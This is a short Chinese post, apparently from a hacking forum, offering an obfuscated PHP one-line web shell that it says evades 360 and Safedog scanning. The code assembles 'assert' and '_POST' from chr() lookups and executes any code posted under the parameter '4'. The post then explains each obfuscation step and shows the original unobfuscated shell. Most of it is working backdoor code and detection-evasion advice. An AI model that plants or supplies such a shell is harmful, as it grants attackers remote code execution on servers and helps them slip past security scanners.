经过变异新的一句话(过360,安全狗)
只测试了360网马查杀和安全狗网马查杀,均未被发现
<?php
$a=range(1,200);$b=chr($a[96]).chr($a[114]).chr($a[114]).chr($a[100]).chr($a[113]).chr($a[115]);
$b(${chr($a[94]).chr($a[79]).chr($a[78]).chr($a[82]).chr($a[83])}[chr($a[51])]);
?>
range(1,200)----新建一个1到200的数组。 range(a,z)就是一个a到z的数组;大小写有区别
chr()----转换ASCII
chr($a[51])--------是密码4 ,实际是chr(52)。也可以把[chr($a[51])]改为['4']
$a[51]就是数组的$a的第51个数的值(52)。因为数组的值是从0开始数的,所以第51位为52.
原一句话: <?php $a = "a"."s"."s"."e"."r"."t"; $a(${_POST}['4']); ?>
assert()----跟eval()意思差不多都用来执行语句的
重点是{},变量分离;这样{}中的就是字符串,也就可以把_POST转码eg:
<?php
$f4ck="LOVE";
echo "${f4ck} ,f4ck";//输出结果 LOVE,f4ck